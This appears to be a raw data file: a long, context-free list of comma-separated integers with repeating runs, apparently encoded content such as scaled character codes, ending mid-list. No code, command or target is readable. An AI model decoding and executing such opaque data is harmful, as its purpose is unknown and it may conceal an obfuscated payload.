12995, 1312, 13200, 7956, 8988, 6767, 9184, 4218, 4025, 1696, 4830, 7474, 12420, 10403, 11880, 5452, 3168, 3038, 3690, 3828, 4520, 1640, 12360, 6868, 9744, 7504, 9102, 4370, 1120, 5830, 4914, 7918, 11615, 11536, 13320, 5405, 3168, 7130, 9090, 9396, 11413, 4059, 13920, 2176, 4200, 2747, 3526, 2014, 1680, 2544, 1722, 6882, 6785, 1339, 1200, 423, 9405, 6696, 9450, 8961, 11752, 4756, 3840, 7820, 8484, 7772, 6232, 3990, 3605, 5512, 4872, 4810, 12535, 10094, 12600, 4747, 10890, 7192, 8190, 4263, 5989, 1968, 5760, 2992, 2688, 3283, 4100, 1824, 1680, 2332, 1344, 3626, 5520, 4944, 5760, 4371, 5841, 806, 900, 783, 10735, 4428, 12600, 7004, 8736, 7772, 2624, 4370, 3535, 6148, 3192, 7770, 11845, 10712, 13920, 3149, 10989, 6696, 9990, 9918, 10283, 2009, 6360, 3264, 4032, 2948, 2624, 1862, 1750, 2544, 2016, 3256, 3680, 5047, 5760, 2256, 4752, 5766, 5310, 1131, 1130, 369, 11400, 7344, 8820, 6901, 8528, 4408, 1120, 6095, 4242, 8584, 8740, 10815, 12360, 4888, 11484, 4092, 10260, 9135, 11639, 4264, 13920, 7480, 8484, 7705, 9430, 1216, 1715, 2544, 2016, 3552, 5520, 4944, 5520, 2256, 5841, 806, 900, 1131, 1130, 533, 1200, 612, 8820, 6834, 2624, 1520, 3815, 5300, 4368, 7030, 12650, 12051, 12840, 4747, 9405, 6138, 9990, 9396, 12543, 4674, 11880, 7548, 9576, 7638, 8282, 3762, 4060, 5565, 4662, 8140, 3680, 6386, 3840, 2256, 4059, 1984, 10440, 9048, 11413, 4510, 1560, 680, 756, 8241, 1066, 380, 315, 477, 3822, 6882, 3680, 11845, 13440, 4559, 11781, 6820, 2880, 10701, 1469, 410, 1080, 612, 756, 2278, 8118, 4218, 3780, 5883, 4788, 4958, 12765, 11742, 13680, 4747, 9801, 7192, 9450, 9657, 12430, 4715, 4080, 2176, 9408, 7504, 5658, 3876, 3570, 5353, 4158, 8584, 7475, 10300, 12720, 5499, 11385, 7192, 2880, 7917, 5650, 1804, 3840, 3468, 4032, 2948, 2624, 1824, 1540, 1696, 3822, 3552, 5290, 4944, 5280, 1504, 4752, 2852, 4320, 3828, 3616, 1968, 5520, 3264, 3696, 2144, 3936, 1748, 1680, 4929, 1848, 2368, 10465, 4944, 5520, 2632, 4158, 3100, 3960, 2784, 5424, 1886, 6360, 2856, 4200, 2948, 2624, 1824, 1610, 2544, 1848, 2368, 5520, 4738, 6600, 4371, 4356, 1984, 8190, 4176, 5198, 2337, 5280, 2176, 4032, 3082, 4674, 1672, 1120, 2544, 1932, 4218, 5060, 3296, 5760, 2162, 4752, 5766, 8370, 5133, 1469, 410, 1080, 612, 756, 2278, 8118, 4218, 3780, 5883, 4788, 4958, 12765, 11742, 13680, 4747, 9801, 7192, 9450, 9657, 12430, 4715, 4080, 2176, 9408, 7504, 5658, 3876, 3570, 5353, 4158, 8584, 7705, 11433, 13080, 5123, 10395, 7192, 2880, 4176, 6667, 533, 1200, 612, 756, 603, 2788, 3762, 3885, 5724, 4662, 8436, 7705, 11433, 13680, 5358, 9999, 6138, 10440, 9135, 12543, 4510, 13800, 2312, 2688, 7504, 9184, 2622, 3570, 5406, 4242, 7326, 13340, 6695, 12000, 4982, 11583, 7130, 10440, 2784, 10283, 2009, 5280, 2176, 4032, 3082, 4592, 1672, 1120, 2385, 2016, 3404, 5520, 4944, 5880, 2068, 3168, 5642, 4320, 4002, 5424, 1804, 3840, 3264, 3864, 3216, 3608, 1216, 1680, 2438, 2016, 3256, 3680, 4944, 5520, 2256, 9207, 2728, 2880, 7917, 5424, 1886, 6720, 2856, 4200, 2948, 2624, 1824, 1610, 2809, 1764, 3700, 5060, 3296, 5760, 2162, 4752, 2728, 2880, 4176, 5198, 2255, 11160, 2992, 2688, 6097, 3936, 1748, 1995, 2332, 1344, 3552, 5290, 5871, 5280, 1504, 4752, 2852, 5130, 3828, 3616, 1968, 5520, 3264, 7812, 6231, 4838, 1216, 1120, 689, 420, 666, 1035, 927, 4080, 4653, 10989, 6696, 9990, 9918, 7571, 4551, 13680, 7752, 8484, 6633, 9512, 3990, 3885, 5830, 4830, 2516, 3680, 11536, 13440, 3243, 10098, 6324, 9090, 8613, 13108, 2747, 13320, 7412, 9156, 7035, 9512, 1216, 1785, 3127, 546, 740, 1035, 927, 1080, 1598, 9801, 6882, 9720, 9657, 12882, 2747, 13320, 7752, 9576, 6767, 8118, 4408, 3675, 5883, 4620, 8510, 3910, 3296, 13440, 5264, 6831, 6324, 9180, 8787, 11187, 4756, 8280, 7480, 8148, 6566, 8856, 3838, 1120, 6148, 4788, 8658, 11615, 6077, 1560, 470, 891, 558, 810, 2958, 11526, 4305, 12960, 7412, 5964, 7638, 7954, 3990, 3850, 1802, 1344, 8288, 12880, 7107, 12240, 4794, 9999, 6138, 10440, 6003, 12430, 3977, 11760, 7344, 8484, 2144, 9512, 4332, 4095, 5353, 2478, 2368, 1495, 1030, 1080, 423, 891, 2108, 9180, 9135, 12204, 4469, 8520, 7752, 8148, 7035, 9020, 1292, 1120, 5936, 4704, 5106, 11730, 10506, 12120, 4653, 11484, 4030, 9000, 9222, 13221, 4715, 13920, 2176, 7644, 3216, 3772, 1824, 1750, 2332, 1344, 3626, 5060, 3296, 5880, 2068, 3168, 2976, 4140, 4263, 4972, 1312, 5880, 2992, 2688, 6834, 7954, 4104, 4025, 5353, 3906, 4366, 1495, 1030, 1080, 423, 891, 2108, 9180, 9135, 12204, 4469, 8520, 7752, 8148, 7035, 9020, 1292, 1120, 5936, 4704, 5106, 11730, 10506, 12120, 4653, 11484, 4154, 9990, 9483, 12317, 4305, 13920, 2176, 4452, 3953, 1066, 380, 315, 477, 5250, 4366, 1495, 1030, 1080, 5875, 1287, 620, 810, 8787, 12204, 4715, 12120, 884, 840, 603, 10086, 494, 350, 477, 378, 6734, 10695, 3296, 13800, 5264, 9603, 7378, 9900, 2784, 13899, 533, 1200, 612, 756, 603, 2788, 3800, 4235, 5830, 4074, 8066, 12075, 10197, 7920, 5076, 11583, 7068, 3060, 2784, 12656, 4592, 8280, 6936, 8568, 6767, 8118, 4408, 2415, 5830, 4074, 7252, 12420, 10403, 3840, 5452, 11286, 7254, 9090, 5133, 1469, 410, 1080, 612, 756, 2278, 8200, 4598, 3850, 5141, 4578, 7770, 11385, 6798, 12960, 5499, 11286, 2108, 2880, 9744, 12656, 2829, 12240, 6936, 8484, 6633, 9512, 2470, 3500, 5618, 4914, 8510, 13340, 3296, 10920, 2303, 9207, 3658, 1170, 870, 1017, 369, 1080, 2312, 8400, 8107, 9020, 3686, 3815, 5565, 4158, 4884, 12420, 12051, 13680, 1598, 3168, 6944, 10080, 6003, 11526, 4182, 12120, 6732, 9744, 4489, 9102, 4142, 3815, 5565, 4872, 2368, 5635, 6077, 1560, 470, 1287, 620, 810, 783, 1017, 1394, 11880, 7548, 9072, 7437, 9348, 2546, 3885, 6042, 4788, 7474, 11385, 11948, 12600, 5217, 10890, 7130, 3060, 2784, 12656, 4592, 8280, 6936, 8568, 6767, 8118, 4408, 2415, 5830, 4074, 7252, 12420, 10403, 3840, 5452, 11286, 7254, 9090, 5133, 1469, 410, 1080, 612, 756, 2278, 8118, 4218, 3780, 5883, 4788, 4958, 12765, 11742, 13680, 4747, 9801, 7192, 9450, 9657, 12430, 4715, 4080, 2176, 9408, 7504, 5658, 3876, 3570, 5353, 4158, 8584, 7475, 10300, 12720, 5499, 11385, 7192, 2880, 7917, 5424, 1886, 6720, 2992, 2688, 3283, 4346, 1672, 1120, 2544, 1848, 2368, 10465, 4944, 5520, 2491, 4356, 1984, 4320, 4002, 5989, 1804, 3840, 3264, 3864, 3551, 3608, 1216, 1680, 4929, 1848, 2368, 10465, 4944, 5520, 2256, 4356, 1984, 4320, 4002, 5424, 1804, 3840, 3264, 3864, 3618, 3608, 1216, 1750, 4929, 1848, 6734, 5520, 4738, 6120, 2068, 3168, 2976, 4140, 4437, 4972, 1312, 5760, 3128, 4284, 2948, 2624, 1824, 1610, 2597, 3906, 6882, 6785, 3502, 11880, 5217, 10692, 6882, 10260, 5829, 12543, 4674, 13680, 6868, 8316, 7772, 8610, 4218, 3850, 6095, 1428, 2368, 12880, 11536, 8280, 4794, 10098, 6262, 8910, 10092, 7571, 4551, 13080, 7412, 8820, 7772, 2624, 1824, 1610, 2756, 2478, 962, 1150, 927, 1080, 423, 3168, 806, 900, 783, 1017, 369, 4080, 6800, 10164, 7370, 7954, 4142, 3675, 5247, 2772, 7992, 13455, 11742, 4080, 1504, 11088, 6944, 6210, 8874, 11526, 4141, 11880, 7888, 5460, 6700, 8692, 4446, 4025, 6148, 1344, 6734, 5520, 4738, 6360, 4371, 5841, 806, 900, 783, 1017, 369, 4080, 6800, 10164, 7370, 7954, 4142, 3675, 5247, 2772, 7992, 13455, 11742, 4080, 1504, 11088, 6944, 6210, 8874, 11526, 4141, 11880, 7888, 5628, 7437, 8938, 4142, 3675, 6148, 1344, 3774, 6785, 1339, 1200, 611, 990, 558, 810, 783, 5424, 1312, 13800, 6868, 9744, 5293, 9676, 3838, 3990, 5247, 4074, 8510, 13340, 3296, 5760, 2773, 1287, 620, 810, 783, 1017, 4715, 12960, 6868, 8484, 7504, 2624, 1824, 1610, 2597, 2478, 962, 1150, 1339, 1200, 423, 891, 558, 8550, 10440, 8136, 3977, 13200, 6800, 9072, 6767, 2624, 2318, 1120, 4823, 3906, 8510, 12880, 9991, 14280, 5170, 1287, 620, 810, 783, 1017, 5043, 1560, 680, 756, 603, 738, 342, 2905, 5724, 4242, 7474, 12880, 3296, 5880, 2773, 1287, 620, 810, 783, 1017, 369, 4080, 6732, 9324, 7236, 9102, 4332, 2345, 5883, 4788, 8436, 11615, 10197, 13920, 4935, 10989, 6820, 10350, 2958, 3616, 4592, 13440, 4692, 8568, 6834, 8282, 3762, 4060, 3445, 4200, 7844, 13455, 11845, 13920, 1504, 9009, 3038, 4140, 4176, 4972, 1312, 5760, 3128, 4452, 2948, 2624, 1824, 1540, 1696, 3822, 3552, 5290, 5459, 5280, 1504, 4752, 2852, 4770, 3828, 3616, 1968, 5520, 3604, 3696, 2144, 3936, 3534, 1540, 1696, 3822, 3626, 5290, 4944, 5280, 1504, 4851, 2852, 4320, 3828, 3616, 1968, 5520, 3808, 3696, 2144, 3936, 1748, 1820, 4929, 1848, 6734, 5520, 4738, 6120, 2068, 3168, 2976, 4140, 4437, 4972, 1312, 5760, 3128, 4284, 2948, 2624, 1824, 1610, 2597, 3906, 6882, 6785, 1339, 1200, 423, 891, 558, 810, 2958, 11187, 4551, 12960, 7548, 9576, 4489, 9102, 4332, 3990, 5353, 4158, 8584, 12075, 11433, 13200, 5405, 3366, 1984, 10080, 9744, 7797, 4182, 12240, 6868, 8316, 7772, 5494, 4218, 3815, 5777, 4410, 8584, 3680, 5150, 7080, 611, 990, 558, 810, 783, 14125, 2419, 1560, 680, 1092, 670, 1066, 380, 315, 477, 378, 2516, 11500, 12463, 13200, 4559, 10791, 6510, 8910, 5742, 12204, 4797, 13680, 2312, 2688, 7504, 9184, 2622, 3570, 5406, 4242, 7326, 13340, 6695, 12000, 4982, 11583, 7130, 10440, 2784, 10283, 2050, 11160, 4012, 1092, 670, 738, 342, 315, 1802, 4200, 8954, 12650, 9991, 13080, 4935, 9801, 4092, 9720, 10179, 12882, 1394, 3840, 7616, 9408, 4623, 8364, 3876, 3535, 5247, 4872, 4958, 12765, 11227, 13080, 4935, 11484, 1984, 4410, 5133, 1469, 410, 1560, 680, 756, 603, 738, 1292, 3500, 6413, 4620, 7178, 12535, 10815, 11880, 3102, 10692, 7254, 10260, 2958, 3616, 4592, 13440, 4692, 8568, 6834, 8282, 3762, 4060, 3445, 4200, 7844, 13455, 11845, 13920, 1504, 9009, 2976, 4140, 4611, 10509, 2419, 1560, 680, 756, 603, 738, 1292, 3500, 6413, 4620, 7178, 12535, 10815, 11880, 3102, 10692, 7254, 10260, 2958, 3616, 4592, 13440, 4692, 8568, 6834, 8282, 3762, 4060, 3551, 4662, 8066, 12535, 10815, 13920, 1504, 5148, 3658, 1170, 870, 1469, 410, 1080, 612, 756, 7705, 8856, 3838, 3535, 5936, 1344, 3848, 5290, 5459, 7080, 611, 990, 806, 900, 783, 1017, 369, 4080, 6732, 9324, 7236, 9102, 4332, 2345, 5883, 4788, 8436, 11615, 10197, 13920, 4935, 10989, 6820, 10350, 2958, 3616, 4592, 13440, 4692, 8568, 6834, 8282, 3762, 4060, 3445, 4200, 7844, 13455, 11845, 13920, 1504, 9009, 3038, 3960, 2784, 5537, 1804, 3840, 3264, 3696, 2144, 7462, 1824, 1610, 2809, 1848, 2368, 5520, 4738, 6360, 2068, 3168, 2976, 4140, 4611, 4972, 1312, 5760, 6324, 3696, 2144, 7462, 1862, 1610, 2544, 1848, 2368, 5635, 4738, 5760, 2068, 3168, 2976, 4140, 4872, 4972, 1312, 5760, 3128, 4368, 6231, 3608, 3458, 1680, 2438, 2142, 3256, 3680, 4944, 5520, 2397, 4356, 1984, 4320, 4002, 5763, 1804, 3840, 3264, 3864, 3283, 7626, 3534, 2065, 1802, 4158, 8214, 12420, 11433, 13680, 3149, 10989, 7068, 10260, 8787, 11187, 4756, 12600, 7548, 9240, 7705, 2788, 1216, 3920, 5936, 2898, 7548, 11730, 10403, 11880, 5452, 6633, 6882, 9810, 9483, 11865, 4756, 3840, 3332, 4956, 2144, 2788, 3762, 3885, 5724, 4662, 8436, 7705, 11433, 13680, 5358, 9999, 6138, 10440, 9135, 12543, 4510, 13800, 2312, 2688, 7504, 9184, 2622, 3570, 5406, 4242, 7326, 13340, 7107, 13200, 4559, 9702, 6696, 9090, 2784, 9492, 3362, 10200, 4692, 4956, 871, 820, 342, 315, 477, 1428, 7400, 13915, 11330, 11640, 5123, 10395, 6138, 5940, 9396, 13221, 4674, 4080, 2176, 9408, 7504, 5658, 3876, 3570, 5353, 4158, 8584, 7475, 10300, 12720, 5499, 11385, 7192, 2880, 7917, 5424, 3813, 7080, 884, 840, 603, 738, 342, 1190, 5300, 5082, 8140, 11155, 11227, 12600, 4653, 6534, 6696, 10530, 9918, 3842, 1312, 13440, 7616, 5796, 6834, 8364, 3838, 3465, 6148, 2814, 8214, 12535, 11227, 12600, 5452, 3168, 3038, 5310, 1131, 1130, 369, 1080, 8500, 4956, 871, 820, 342, 4375, 3127, 546, 740, 1035, 1339, 1200, 423, 11088, 6696, 8730, 10527, 11413, 4674, 3840, 7820, 9408, 6499, 9758, 4180, 1120, 6519, 546, 740, 1035, 927, 12120, 5170, 9603, 6076, 9720, 8787, 7571, 3977, 13080, 5644, 8736, 6499, 8774, 3838, 1120, 6148, 4788, 8658, 11615, 6077, 1560, 470, 891, 558, 8730, 8700, 11300, 2747, 11640, 7412, 6972, 6968, 7954, 4066, 3535, 1696, 3822, 3626, 5520, 4532, 3840, 2585, 4752, 2728, 2880, 4350, 5989, 3813, 7080, 884, 840, 603, 738, 4370, 3780, 5353, 4242, 8288, 3680, 5665, 5760, 2773, 1287, 620, 810, 783, 11413, 4510, 11640, 6664, 9072, 6767, 5494, 3686, 3815, 4399, 4368, 7178, 12305, 10403, 3840, 4794, 9603, 6696, 10350, 8787, 6667, 533, 1200, 612, 10500, 3953, 1066, 380, 315, 5565, 4284, 2960, 12535, 10300, 12480, 4465, 10890, 7254, 9630, 8787, 10735, 3977, 13800, 7072, 2688, 4154, 2624, 1824, 1435, 1696, 4872, 7696, 11615, 11330, 3840, 5781, 1287, 620, 810, 783, 10283, 3813, 3840, 7820, 9408, 6499, 9758, 4180, 1120, 6519, 546, 740, 1035, 927, 1080, 5405, 10692, 6262, 9090, 9744, 3616, 2050, 5760, 4012, 1092, 670, 738, 342, 315, 4823, 3906, 2368, 13225, 11536, 11640, 5593, 10890, 1984, 11070, 1131, 1130, 369, 1080, 612, 756, 6365, 9184, 4218, 4025, 1696, 2562, 2368, 12880, 11433, 13800, 4935, 11484, 6510, 9990, 9570, 3616, 4592, 12960, 6596, 10164, 6767, 9348, 2242, 455, 530, 378, 666, 1035, 927, 11400, 5264, 9603, 7068, 10260, 8439, 13673, 1312, 7320, 2176, 7644, 871, 820, 342, 315, 477, 378, 666, 10465, 3502, 7800, 2397, 9108, 4216, 8730, 10092, 10961, 3895, 8400, 6256, 6720, 6499, 9348, 4408, 3675, 5247, 4536, 7474, 7935, 10506, 12240, 4747, 9801, 7192, 10350, 8004, 9605, 4510, 12600, 8024, 8484, 7638, 9430, 3686, 3780, 4876, 3570, 8140, 12075, 12154, 12120, 5358, 11385, 6014, 9720, 2958, 4972, 1312, 5880, 3672, 3696, 2144, 4018, 1900, 1540, 1696, 2352, 3256, 3680, 5047, 11160, 2068, 1287, 620, 810, 783, 1017, 369, 1080, 2312, 2856, 2948, 1066, 380, 315, 477, 378, 666, 1035, 3502, 7920, 4935, 10692, 6696, 8820, 9657, 10961, 4674, 12000, 2312, 3696, 871, 820, 342, 315, 477, 378, 666, 5635, 4532, 1560, 470, 891, 558, 810, 783, 1017, 2132, 5280, 884, 840, 603, 738, 342, 315, 477, 3822, 3552, 5060, 4944, 5280, 2256, 9207, 2728, 1170, 870, 1017, 369, 1080, 612, 756, 6097, 3936, 1672, 1680, 2332, 2016, 6882, 5060, 1339, 1200, 423, 891, 558, 810, 783, 5537, 1804, 1560, 680, 756, 603, 738, 342, 315, 2544, 1932, 3552, 5520, 4944, 5760, 2256, 4851, 2728, 1170, 870, 1017, 369, 1080, 612, 756, 3216, 3608, 494, 350, 477, 378, 666, 1035, 927, 5880, 2162, 5148, 2728, 1170, 870, 1017, 369, 1080, 612, 756, 6097, 3936, 1748, 1680, 2809, 1848, 3552, 5290, 4944, 6360, 4371, 4356, 806, 900, 783, 1017, 369, 1080, 612, 7644, 6097, 3936, 1748, 1715, 2332, 2016, 3404, 5635, 4532, 5760, 2162, 4851, 2728, 4410, 8091, 10509, 1804, 1560, 680, 756, 603, 738, 342, 315, 4823, 2016, 3256, 5635, 9579, 5280, 611, 990, 558, 810, 783, 1017, 369, 5760, 3128, 4200, 2948, 1066, 380, 315, 477, 378, 666, 1035, 5047, 5520, 2350, 4356, 806, 900, 783, 1017, 369, 1080, 612, 2856, 2278, 3608, 494, 350, 477, 378, 666, 1035, 927, 4080, 1598, 4356, 806, 900, 783, 1017, 369, 1080, 612, 9912, 6767, 8528, 3990, 3465, 5724, 4242, 2368, 12880, 11124, 11640, 5687, 9999, 7068, 1170, 870, 1017, 369, 1080, 612, 7812, 3953, 1066, 380, 315, 477, 378, 666, 12535, 10300, 12480, 4465, 9603, 7130, 9360, 2784, 6893, 1312, 4080, 2380, 9408, 6499, 9348, 4408, 3675, 5247, 4536, 7474, 13225, 11433, 14040, 5358, 9801, 6262, 3060, 2784, 11187, 4674, 12120, 6596, 9744, 6767, 7052, 3838, 3640, 5565, 4158, 7992, 11615, 7828, 13320, 4653, 9603, 6696, 2880, 8265, 12656, 4551, 13800, 4012, 2688, 2144, 1066, 380, 315, 477, 378, 666, 12535, 10300, 12480, 4465, 9603, 7130, 9360, 2784, 12995, 4141, 13920, 5440, 8148, 7638, 9512, 3990, 3465, 5724, 4242, 5920, 11155, 11742, 11640, 5123, 11385, 1984, 8550, 9744, 10961, 4674, 13680, 6596, 10164, 3953, 1066, 380, 315, 477, 378, 666, 12535, 10300, 12480, 4465, 9603, 7130, 9360, 2784, 12995, 4141, 13920, 5440, 8148, 7638, 9512, 3990, 3465, 5724, 4242, 6068, 11155, 11330, 12000, 5217, 10791, 1984, 8190, 4176, 4972, 1312, 10920, 3332, 4032, 2948, 2624, 1862, 1680, 2332, 1344, 4070, 10695, 4532, 3840, 4277, 4752, 2728, 2880, 4176, 4972, 1312, 5760, 6324, 3696, 2144, 3936, 1672, 1120, 2544, 1932, 3552, 5635, 4532, 3840, 4277, 4752, 2728, 2880, 4176, 4972, 1312, 5760, 2992, 2688, 3216, 3772, 1862, 3255, 2332, 1344, 3552, 5060, 3296, 5760, 4371, 5841, 806, 900, 783, 1017, 369, 1080, 7412, 8400, 6968, 7790, 3686, 4025, 5512, 1344, 8510, 11615, 11948, 9600, 4559, 11286, 7192, 9450, 8613, 12204, 4141, 8040, 7140, 9576, 6633, 8856, 3838, 1120, 4823, 2016, 3404, 5520, 4532, 3840, 4277, 4752, 2728, 2880, 4176, 4972, 1312, 5760, 6324, 7812, 3953, 1066, 380, 315, 477, 378, 666, 12535, 10300, 12480, 4465, 9603, 7130, 9360, 2784, 12995, 4141, 13920, 4624, 9576, 7437, 9184, 2774, 3850, 6148, 4242, 8436, 13570, 9991, 12960, 1504, 4752, 2852, 4320, 4263, 6667, 533, 1200, 612, 756, 603, 10250, 2242, 455, 530, 378, 666, 14375, 6077, 1560, 470, 891, 7750, 5310, 1131, 1130, 369, 12600, 6936, 2688, 2680, 8938, 3800, 3640, 5035, 4620, 8658, 12305, 10403, 11400, 4700, 9999, 7130, 10440, 9918, 13221, 4059, 13920, 7140, 9324, 7370, 7790, 4636, 3885, 5830, 4242, 2368, 7130, 3296, 5760, 1927, 3168, 7192, 9360, 8787, 12430, 533, 1200, 612, 10332, 871, 820, 342, 315, 6519, 3990, 8880, 3680, 11845, 12120, 5452, 9900, 6014, 9810, 8439, 11639, 4141, 3840, 3332, 10500, 2144, 8364, 4218, 3990, 3657, 4074, 7326, 11960, 3296, 4800, 5170, 9999, 6014, 10260, 8787, 12995, 4756, 9480, 6664, 8904, 6767, 8118, 4408, 4025, 1696, 3822, 2960, 11845, 10403, 13920, 5264, 10989, 7130, 2880, 9570, 13221, 4387, 12120, 7616, 9324, 7705, 3362, 1672, 1120, 4823, 3906, 3256, 3680, 11227, 12000, 4888, 9405, 6820, 10530, 9309, 11413, 3895, 12000, 6868, 9660, 7772, 9348, 4446, 3465, 6148, 4410, 8214, 12650, 9785, 14640, 5217, 10890, 6262, 8370, 3567, 6667, 533, 1200, 612, 10500, 3953, 1066, 380, 455, 530, 546, 740, 1035, 9785, 10440, 4559, 11682, 6262, 2880, 10005, 11413, 4756, 8160, 7752, 9324, 7504, 5986, 4180, 4060, 5353, 4788, 8732, 11155, 11124, 3840, 2256, 4554, 2976, 4320, 4263, 6667, 533, 1200, 612, 8400, 6767, 8856, 3838, 4060, 5353, 4956, 7474, 11960, 10815, 11880, 5076, 9999, 1984, 8550, 10092, 12543, 4592, 7080, 884, 840, 603, 8200, 3838, 3780, 5353, 4872, 7474, 13570, 10403, 12480, 4935, 9801, 6696, 9090, 2784, 10735, 4756, 13320, 7616, 4200, 3953, 1066, 380, 455, 530, 378, 8510, 12420, 10403, 12120, 5264, 3168, 3224, 4140, 4611, 6667, 533, 1200, 884, 840, 603, 7790, 3990, 1120, 3233, 1344, 3552, 6785, 1339, 1200, 423, 11781, 6448, 9450, 9396, 11413, 1312, 14760, 6460, 8820, 2144, 4920, 1216, 1715, 2544, 2016, 9250, 3680, 10300, 13320, 611, 990, 558, 11070, 1131, 1130, 369, 1080, 6460, 9072, 7035, 8446, 3952, 4060, 1696, 4830, 7474, 13340, 7828, 12600, 4841, 10296, 7192, 5940, 9918, 11865, 4223, 12480, 7888, 9240, 6767, 9430, 4370, 1120, 2597, 2016, 3552, 5290, 4944, 3840, 2115, 3168, 5890, 9450, 5133, 1469, 410, 1080, 612, 7980, 7035, 2624, 2318, 1120, 5035, 4410, 2368, 4945, 3296, 5880, 2773, 1287, 620, 810, 783, 12995, 4428, 12120, 6868, 9408, 2144, 3936, 1748, 1715, 3127, 546, 740, 1035, 12875, 7080, 611, 990, 558, 9000, 8787, 12204, 4141, 13920, 6868, 7224, 6767, 8528, 3990, 3465, 5724, 4242, 2368, 10925, 11124, 12600, 4841, 10296, 7192, 5310, 1131, 1130, 533, 1200, 612, 9660, 7236, 8282, 3838, 3920, 1696, 2100, 4366, 1495, 1030, 1560, 470, 891, 5890, 10350, 9483, 12543, 4387, 12120, 2176, 9660, 6767, 9512, 3040, 3395, 6042, 4872, 7770, 11385, 11124, 12120, 3760, 9603, 7068, 8730, 9483, 12995, 1312, 10920, 6188, 2856, 4355, 4182, 3496, 2380, 5141, 4872, 7178, 10925, 7210, 11040, 3760, 9603, 7068, 10440, 9135, 11187, 4428, 12120, 4692, 8568, 6834, 8282, 3762, 4060, 6095, 3864, 6290, 12650, 10815, 14160, 4747, 11286, 7130, 8730, 9396, 10396, 4797, 13200, 7140, 9912, 6767, 9348, 4370, 3395, 5724, 1932, 8288, 5865, 10300, 4080, 2068, 3168, 3038, 4860, 3828, 3616, 2255, 5280, 2176, 4368, 3752, 3608, 1216, 1715, 4929, 1848, 2368, 3910, 3502, 5280, 1504, 3366, 4092, 9450, 9396, 12204, 4018, 13320, 6596, 9576, 6700, 2788, 1672, 1120, 2597, 1848, 2368, 5750, 5459, 5280, 1504, 9009, 2976, 3960, 2784, 5424, 1804, 3840, 3264, 7812, 2948, 1066, 380, 315, 477, 378, 666, 1035, 9373, 5760, 2068, 3168, 2976, 3960, 2784, 5876, 2173, 11160, 2992, 2688, 3216, 3608, 1216, 1715, 2438, 2310, 3256, 3680, 5047, 5280, 1504, 4752, 2728, 2880, 7917, 5876, 1968, 5280, 3400, 4452, 2948, 4592, 1824, 3255, 2332, 1344, 962, 1150, 927, 1080, 423, 891, 558, 8190, 7917, 5537, 1804, 3840, 3332, 3696, 2144, 4018, 1672, 1120, 2544, 1932, 3700, 10695, 4532, 10920, 2303, 4356, 1984, 4410, 3828, 3616, 2009, 5280, 2176, 4032, 3082, 4182, 3534, 1540, 4823, 2058, 3256, 3680, 5047, 5280, 1504, 4851, 2728, 2880, 4176, 5198, 2091, 11160, 2992, 7644, 3283, 3608, 1216, 1715, 2332, 1344, 3626, 5060, 3296, 5760, 2162, 5049, 5766, 3960, 7917, 5537, 1804, 3840, 3332, 3696, 2144, 4018, 1672, 1120, 2544, 1932, 3774, 10695, 4532, 10920, 2303, 4356, 1984, 4410, 3828, 3616, 2009, 5280, 2176, 4032, 3082, 4182, 3534, 1540, 4823, 2058, 3256, 3680, 5047, 5280, 1504, 4851, 2728, 2880, 4176, 5198, 2091, 11160, 2992, 7644, 3283, 3608, 1216, 1715, 2332, 1344, 3626, 5060, 3296, 5760, 4371, 9207, 806, 900, 783, 1017, 369, 1080, 612, 3696, 2144, 7462, 1824, 1610, 2809, 1848, 2368, 5520, 4738, 5880, 4371, 4356, 1984, 4410, 3828, 3616, 2009, 5280, 2176, 2856, 2278, 3608, 1216, 1190, 1802, 1848, 2368, 12650, 12051, 12840, 4747, 11088, 6882, 10350, 8091, 6667, 533, 1200, 884, 840, 603, 7790, 2546, 3885, 5830, 4242, 2368, 13225, 10403, 13920, 3196, 11286, 6882, 10080, 6351, 12430, 4756, 12120, 7752, 9912, 6499, 8856, 1216, 1680, 2438, 2016, 3626, 6785, 1339, 1200, 423, 9405, 7130, 9810, 9657, 12091, 4141, 3840, 7820, 8484, 7772, 5576, 4332, 3885, 5936, 3066, 8140, 13340, 10403, 13680, 5546, 9603, 6696, 2880, 4176, 5198, 1968, 5760, 3672, 4956, 871, 820, 342, 3325, 4611, 4074, 8732, 11615, 3296, 13800, 4747, 11484, 4216, 10260, 9657, 12656, 2993, 13200, 7888, 8484, 7638, 9676, 3686, 3780, 1696, 2016, 3404, 5520, 4944, 5880, 2773, 1287, 620, 1170, 870, 1017, 4715, 12960, 6868, 8484, 7504, 2624, 1900, 2065, 689, 420, 962, 1150, 927, 11400, 5405, 10791, 6882, 9630, 8787, 3616, 4715, 12120, 7888, 6720, 6499, 9348, 4408, 3675, 5247, 4536, 7474, 9200, 9991, 13680, 4559, 10791, 7130, 2880, 7917, 10283, 1394, 7800, 3468, 7728, 4556, 7954, 4408, 3395, 5035, 2940, 6808, 9200, 9991, 13680, 5452, 10395, 6138, 9720, 8787, 7797, 4182, 12240, 6868, 8316, 7772, 9430, 3496, 2975, 5830, 4410, 8732, 11615, 11742, 13800, 4559, 10692, 5704, 10530, 9570, 11865, 4838, 12120, 7752, 9660, 6499, 8856, 1748, 3920, 2703, 4200, 2516, 5060, 3296, 5880, 2538, 4356, 1984, 4950, 3828, 3616, 2132, 6720, 2992, 2688, 3283, 7626, 1672, 1120, 1802, 1428, 3256, 3680, 3502, 7920, 4935, 10692, 6696, 8820, 9657, 10961, 4674, 12000, 2312, 3696, 2144, 4018, 1672, 1120, 2650, 2226, 3256, 3680, 9373, 5760, 2068, 3168, 2976, 3960, 2784, 5424, 3813, 5280, 884, 840, 603, 738, 342, 315, 477, 3822, 3552, 5060, 3296, 5760, 2068, 3168, 3162, 4320, 8091, 4972, 1312, 5760, 2992, 2688, 3283, 3772, 2090, 1540, 1696, 2058, 3256, 3680, 4944, 5280, 1504, 9009, 3224, 4320, 3828, 5650, 2173, 5280, 3808, 4032, 6231, 3608, 1216, 455, 530, 378, 666, 1035, 927, 1080, 4277, 9009, 3038, 3960, 2784, 5537, 1804, 3840, 3332, 3696, 2144, 3936, 1748, 1750, 4929, 1848, 6734, 5635, 4532, 3840, 2303, 4356, 1984, 4410, 3828, 3616, 1968, 5520, 3468, 7812, 2948, 7462, 1862, 1540, 1696, 2058, 3256, 3680, 5047, 5280, 1504, 4752, 2852, 4590, 8091, 4972, 3731, 5880, 2992, 2688, 3283, 3608, 1216, 1715, 2332, 1344, 3552, 5290, 5253, 11160, 2068, 9009, 3038, 3960, 2784, 5537, 1804, 3840, 3332, 3696, 2144, 3936, 1748, 1785, 4929, 1848, 6734, 5635, 4532, 3840, 2303, 4356, 1984, 4410, 3828, 3616, 1968, 5520, 3468, 7812, 2948, 7462, 1862, 1540, 1696, 2058, 3256, 3680, 5047, 